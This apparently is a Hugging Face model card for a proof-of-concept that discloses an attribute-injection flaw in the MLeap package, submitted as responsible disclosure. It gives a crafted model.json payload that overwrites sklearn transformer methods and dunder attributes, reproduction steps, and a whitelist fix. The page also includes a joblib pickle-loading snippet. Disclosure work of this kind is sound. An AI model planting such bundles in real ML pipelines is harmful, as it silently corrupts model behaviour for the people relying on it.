Instructions to use MBM7/mleap-attribute-injection-poc with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Scikit-learn
How to use MBM7/mleap-attribute-injection-poc with Scikit-learn:
from huggingface_hub import hf_hub_download import joblib model = joblib.load( hf_hub_download("MBM7/mleap-attribute-injection-poc", "sklearn_model.joblib") ) # only load pickle files from sources you trust # read more about it here https://skops.readthedocs.io/en/stable/persistence.html - Notebooks
- Google Colab
- Kaggle
| tags: | |
| - security | |
| - vulnerability | |
| - poc | |
| - mleap | |
| - sklearn | |
| - attribute-injection | |
| - cwe-915 | |
| - model-integrity | |
| license: mit | |
| # MLeap β Bundle Arbitrary Attribute Injection (PoC) | |
| **Repo:** `MBM7/mleap-attribute-injection-poc` | |
| **Status:** Responsible disclosure β submitted to Huntr | |
| **Severity:** High / CWE-915 | |
| **Package:** `mleap` (PyPI) β ML pipeline serialization format | |
| --- | |
| ## Summary | |
| A crafted MLeap bundle `model.json` can **overwrite any Python attribute** | |
| of any sklearn transformer β including methods like `transform()` and | |
| `predict()` β causing silent model corruption at inference time. | |
| No exception is raised during loading. | |
| --- | |
| ## Root Cause | |
| `mleap/bundle/serialize.py`, `MLeapDeserializer.deserialize_single_input_output()`, line 208: | |
| ```python | |
| for attribute in attributes.keys(): # β from model.json, NO validation | |
| value_key = [key for key in attributes[attribute].keys() | |
| if key in ['string', 'boolean', 'long', 'double', 'data_shape']][0] | |
| setattr(transformer, attribute, attributes[attribute][value_key]) | |
| # ^^^^^^^^^ ANY Python attribute name | |
| ``` | |
| `attribute` comes directly from `model.json` in the MLeap bundle with | |
| **no whitelist or validation**. An attacker controls all attribute names | |
| and their values. | |
| --- | |
| ## Attack | |
| Craft a `model.json` with injected attribute names alongside legitimate ones: | |
| ```json | |
| { | |
| "op": "standard_scaler", | |
| "attributes": { | |
| "mean_": {"double": [0.5, 1.5, 2.5]}, | |
| "transform": {"string": "HIJACKED"}, | |
| "__module__": {"string": "os"}, | |
| "n_features_in_": {"long": 9999999999} | |
| } | |
| } | |
| ``` | |
| After `MLeapDeserializer().deserialize_single_input_output(scaler, node_dir)`: | |
| - `scaler.transform` = `"HIJACKED"` (method overwritten with string) | |
| - `scaler.__module__` = `"os"` (`__dunder__` injected) | |
| - `scaler.n_features_in_` = `9999999999` (shape validation bypassed) | |
| Calling `scaler.transform(X)` raises `TypeError: 'str' object is not callable`. | |
| --- | |
| ## Reproduce | |
| ```bash | |
| pip install mleap scikit-learn numpy | |
| python poc_mleap_setattr_injection.py | |
| ``` | |
| Expected: | |
| ``` | |
| result.transform : 'HIJACKED' β INJECTED (was method!) | |
| result.__module__ : os β INJECTED | |
| result.n_features_in_ : 9999999999 β INJECTED | |
| result.transform(X) : TypeError: 'str' object is not callable | |
| ``` | |
| --- | |
| ## Distinct class from all previous findings | |
| All previous findings were **CWE-789** (memory allocation). This is: | |
| - **CWE-915** (Improperly Controlled Modification of Dynamically-Determined Object Attributes) | |
| - No memory exhaustion β model integrity/behavioral attack | |
| - Silent failure at inference time, not at load time | |
| --- | |
| ## Suggested Fix | |
| ```python | |
| ALLOWED_ATTRS = frozenset({ | |
| 'mean_', 'var_', 'scale_', 'with_mean', 'with_std', | |
| 'copy', 'n_features_in_', 'n_samples_seen_', 'op', | |
| # ... per-transformer whitelist | |
| }) | |
| for attribute in attributes.keys(): | |
| if attribute not in ALLOWED_ATTRS: | |
| raise ValueError(f"Attribute {attribute!r} not in allowed list") | |
| setattr(transformer, attribute, ...) | |
| ``` | |
| --- | |
| ## Environment | |
| | Package | Version | | |
| |---------|---------| | |
| | mleap | 0.25.1 | | |
| | Python | 3.12 | | |